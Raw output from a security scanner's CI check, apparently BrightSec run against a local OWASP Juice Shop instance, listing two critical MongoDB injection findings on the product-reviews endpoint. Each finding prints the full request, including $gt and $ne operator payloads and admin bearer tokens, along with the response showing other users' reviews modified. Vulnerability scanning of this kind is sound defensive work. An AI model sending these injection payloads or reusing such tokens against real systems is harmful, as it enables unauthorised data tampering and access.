{ "id": "o2R2rRf3M2zZYy84ZKkHVV", "name": "MongoDB Injection", "severity": "Critical", "labels": [], "assigneeIds": [], "comments": [], "status": "recurring", "occurrences": 14, "lastReported": "2025-08-27T20:33:36.206Z", "discoveredAt": null, "resolvedAt": null, "createdAt": "2025-08-27T20:33:37.033Z", "url": "http://127.0.0.1:3000/rest/products/reviews", "host": "127.0.0.1:3000", "method": "POST", "protocol": "http", "originalRequest": { "method": "POST", "url": "http://127.0.0.1:3000/rest/products/reviews", "headers": { "content-type": "application/json", "Content-Length": "33", "Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgxMH0.uFB8zEvsf11wrKMZB17lmI57kxJFazXnGKur-lDbu5WXCCv0aCfndoItmG_gSkmn2PbAOoL30NQDA_LSxkvjMigrxuEauop7kf-wbkoC3ArOQ5jJbW6Hji2Vd1PMlZAE8AQTuZkUoDkvYggGNdAwc-65KILxF4lekAfafLTPEiU", "Cookie": "token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgxMH0.uFB8zEvsf11wrKMZB17lmI57kxJFazXnGKur-lDbu5WXCCv0aCfndoItmG_gSkmn2PbAOoL30NQDA_LSxkvjMigrxuEauop7kf-wbkoC3ArOQ5jJbW6Hji2Vd1PMlZAE8AQTuZkUoDkvYggGNdAwc-65KILxF4lekAfafLTPEiU", "Connection": "close", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.165 Safari/537.36" }, "body": "{\"id\":\"507f1f77bcf86cd799439011\"}" }, "request": { "method": "POST", "url": "http://127.0.0.1:3000/rest/products/reviews", "headers": { "content-type": "application/json", "Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgxMH0.uFB8zEvsf11wrKMZB17lmI57kxJFazXnGKur-lDbu5WXCCv0aCfndoItmG_gSkmn2PbAOoL30NQDA_LSxkvjMigrxuEauop7kf-wbkoC3ArOQ5jJbW6Hji2Vd1PMlZAE8AQTuZkUoDkvYggGNdAwc-65KILxF4lekAfafLTPEiU", "Cookie": "token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgxMH0.uFB8zEvsf11wrKMZB17lmI57kxJFazXnGKur-lDbu5WXCCv0aCfndoItmG_gSkmn2PbAOoL30NQDA_LSxkvjMigrxuEauop7kf-wbkoC3ArOQ5jJbW6Hji2Vd1PMlZAE8AQTuZkUoDkvYggGNdAwc-65KILxF4lekAfafLTPEiU", "Connection": "close", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.165 Safari/537.36", "Content-Length": "27" }, "body": "{\"id\":{\"$gt\":\"ec62d4b17b\"}}" }, "response": { "headers": { "access-control-allow-origin": "*", "x-content-type-options": "nosniff", "x-frame-options": "SAMEORIGIN", "feature-policy": "payment 'self'", "x-recruiting": "/#/jobs", "content-type": "application/json; charset=utf-8", "content-length": "336", "etag": "W/\"150-VXOGIm+px2J27yvE/Um1mWWgYJM\"", "vary": "Accept-Encoding", "date": "Wed, 27 Aug 2025 20:33:35 GMT", "Connection": "close", "Cache-Control": "public, max-age=99999" }, "body": "{\"modified\":1,\"original\":[{\"message\":\"I'll be there! Will you, too?\",\"author\":\"bjoern@owasp.org\",\"product\":44,\"likesCount\":1,\"likedBy\":[],\"_id\":\"g2iyYgyvSpn4uT9RT\"}],\"updated\":[{\"message\":\"I'll be there! Will you, too?\",\"author\":\"bjoern@owasp.org\",\"product\":44,\"likesCount\":1,\"likedBy\":[\"admin@juice-sh.op\"],\"_id\":\"g2iyYgyvSpn4uT9RT\"}]}", "bodyUrl": null, "status": 200 }, "entryPointId": "eDqe1J6GLoLfNeXen9RqSe", "tickets": [], "externalIssues": [], "issues": [ { "scanId": "5tFcdWtDDHpbGyxFtAzTqR", "issueId": "o2R2rRf3M2zZYy84ZKkHVV", "createdAt": "2025-08-27T20:33:37.117Z" } ], "details": "The target application fails to properly validate user input before using it in a MongoDB query. This allows an attacker to inject MongoDB query language syntax into the input fields, which can lead to a variety of attacks.", "remedy": "Ensure that all user input is properly validated and sanitized before being used in a MongoDB query. Use parameterized queries or prepared statements to prevent injection attacks.", "exposure": "Bypass Protection Mechanism; Read Application Data; Modify Application Data", "cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cwe": "CWE-284", "resources": [ "https://cwe.mitre.org/data/definitions/943.html", "https://www.owasp.org/index.php/Testing_for_NoSQL_injection" ], "screenshots": [], "lastScanId": "5tFcdWtDDHpbGyxFtAzTqR", "projectId": "eDr1yEcB24cZ51qtsE7hy4", "projectIssueId": "fqsuwScmDZ9e8aKaKkEpxP", "certainty": false, "scanIds": [ "5tFcdWtDDHpbGyxFtAzTqR" ], "issueIds": [ "o2R2rRf3M2zZYy84ZKkHVV" ], "scanId": "5tFcdWtDDHpbGyxFtAzTqR", "time": "2025-08-27T20:33:35.086Z", "type": "MongoDB Injection", "solved": false, "link": "https://app.brightsec.com/scans/5tFcdWtDDHpbGyxFtAzTqR/issues/o2R2rRf3M2zZYy84ZKkHVV" }Check failure on line 1 in .brightsec/tests/post-rest-products-reviews.test.ts
.brightsec/tests/post-rest-products-reviews.test.ts#L1
Raw output
{ "id": "fDoj5ZFXgR2A36LfVgLf38", "name": "MongoDB Injection", "severity": "Critical", "labels": [], "assigneeIds": [], "comments": [], "status": "recurring", "occurrences": 14, "lastReported": "2025-08-27T20:33:36.206Z", "discoveredAt": null, "resolvedAt": null, "createdAt": "2025-08-27T20:33:37.033Z", "url": "http://127.0.0.1:3000/rest/products/reviews", "host": "127.0.0.1:3000", "method": "POST", "protocol": "http", "originalRequest": { "method": "POST", "url": "http://127.0.0.1:3000/rest/products/reviews", "headers": { "content-type": "application/json", "Content-Length": "33", "Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgxMH0.uFB8zEvsf11wrKMZB17lmI57kxJFazXnGKur-lDbu5WXCCv0aCfndoItmG_gSkmn2PbAOoL30NQDA_LSxkvjMigrxuEauop7kf-wbkoC3ArOQ5jJbW6Hji2Vd1PMlZAE8AQTuZkUoDkvYggGNdAwc-65KILxF4lekAfafLTPEiU", "Cookie": "token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgxMH0.uFB8zEvsf11wrKMZB17lmI57kxJFazXnGKur-lDbu5WXCCv0aCfndoItmG_gSkmn2PbAOoL30NQDA_LSxkvjMigrxuEauop7kf-wbkoC3ArOQ5jJbW6Hji2Vd1PMlZAE8AQTuZkUoDkvYggGNdAwc-65KILxF4lekAfafLTPEiU", "Connection": "close", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.165 Safari/537.36" }, "body": "{\"id\":\"507f1f77bcf86cd799439011\"}" }, "request": { "method": "POST", "url": "http://127.0.0.1:3000/rest/products/reviews", "headers": { "content-type": "application/json", "Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgxMH0.uFB8zEvsf11wrKMZB17lmI57kxJFazXnGKur-lDbu5WXCCv0aCfndoItmG_gSkmn2PbAOoL30NQDA_LSxkvjMigrxuEauop7kf-wbkoC3ArOQ5jJbW6Hji2Vd1PMlZAE8AQTuZkUoDkvYggGNdAwc-65KILxF4lekAfafLTPEiU", "Cookie": "token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDgtMjcgMjA6MzI6NDAuMjQyICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc1NjMyNjgxMH0.uFB8zEvsf11wrKMZB17lmI57kxJFazXnGKur-lDbu5WXCCv0aCfndoItmG_gSkmn2PbAOoL30NQDA_LSxkvjMigrxuEauop7kf-wbkoC3ArOQ5jJbW6Hji2Vd1PMlZAE8AQTuZkUoDkvYggGNdAwc-65KILxF4lekAfafLTPEiU", "Connection": "close", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.165 Safari/537.36", "Content-Length": "27" }, "body": "{\"id\":{\"$ne\":\"62eac8930f\"}}" }, "response": { "headers": { "access-control-allow-origin": "*", "x-content-type-options": "nosniff", "x-frame-options": "SAMEORIGIN", "feature-policy": "payment 'self'", "x-recruiting": "/#/jobs", "content-type": "application/json; charset=utf-8", "content-length": "432", "etag": "W/\"1b0-N8MMf+M9EuXO6WfxE0EbJt6z2fg\"", "vary": "Accept-Encoding", "date": "Wed, 27 Aug 2025 20:33:35 GMT", "Connection": "close", "Cache-Control": "public, max-age=99999" }, "body": "{\"modified\":1,\"original\":[{\"message\":\"Here yo' learn how tha fuck ta not show yo' goddamn phone on camera!\",\"author\":\"mc.safesearch@juice-sh.op\",\"product\":36,\"likesCount\":1,\"likedBy\":[],\"_id\":\"2vwt9WHFpgtYsvfdg\"}],\"updated\":[{\"message\":\"Here yo' learn how tha fuck ta not show yo' goddamn phone on camera!\",\"author\":\"mc.safesearch@juice-sh.op\",\"product\":36,\"likesCount\":1,\"likedBy\":[\"admin@juice-sh.op\"],\"_id\":\"2vwt9WHFpgtYsvfdg\"}]}", "bodyUrl": null, "status": 200 }, "entryPointId": "eDqe1J6GLoLfNeXen9RqSe", "tickets": [], "externalIssues": [], "issues": [ { "scanId": "5tFcdWtDDHpbGyxFtAzTqR", "issueId": "fDoj5ZFXgR2A36LfVgLf38", "createdAt": "2025-08-27T20:33:37.122Z" } ], "details": "The target application fails to properly validate user input before using it in a MongoDB query. This allows an attacker to inject MongoDB query language syntax into the input fields, which can lead to a variety of attacks.", "remedy": "Ensure that all user input is properly validated and sanitized before being used in a MongoDB query. Use parameterized queries or prepared statements to prevent injection attacks.", "exposure": "Bypass Protection Mechanism; Read Application Data; Modify Application Data", "cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cwe": "CWE-284", "resources": [ "https://cwe.mitre.org/data/definitions/943.html", "https://www.owasp.org/index.php/Testing_for_NoSQL_injection" ], "screenshots": [], "lastScanId": "5tFcdWtDDHpbGyxFtAzTqR", "projectId": "eDr1yEcB24cZ51qtsE7hy4", "projectIssueId": "fqsuwScmDZ9e8aKaKkEpxP", "certainty": false, "scanIds": [ "5tFcdWtDDHpbGyxFtAzTqR" ], "issueIds": [ "fDoj5ZFXgR2A36LfVgLf38" ], "scanId": "5tFcdWtDDHpbGyxFtAzTqR", "time": "2025-08-27T20:33:35.570Z", "type": "MongoDB Injection", "solved": false, "link": "https://app.brightsec.com/scans/5tFcdWtDDHpbGyxFtAzTqR/issues/fDoj5ZFXgR2A36LfVgLf38" }Uh oh!
There was an error while loading. Please reload this page.
Uh oh!
There was an error while loading. Please reload this page.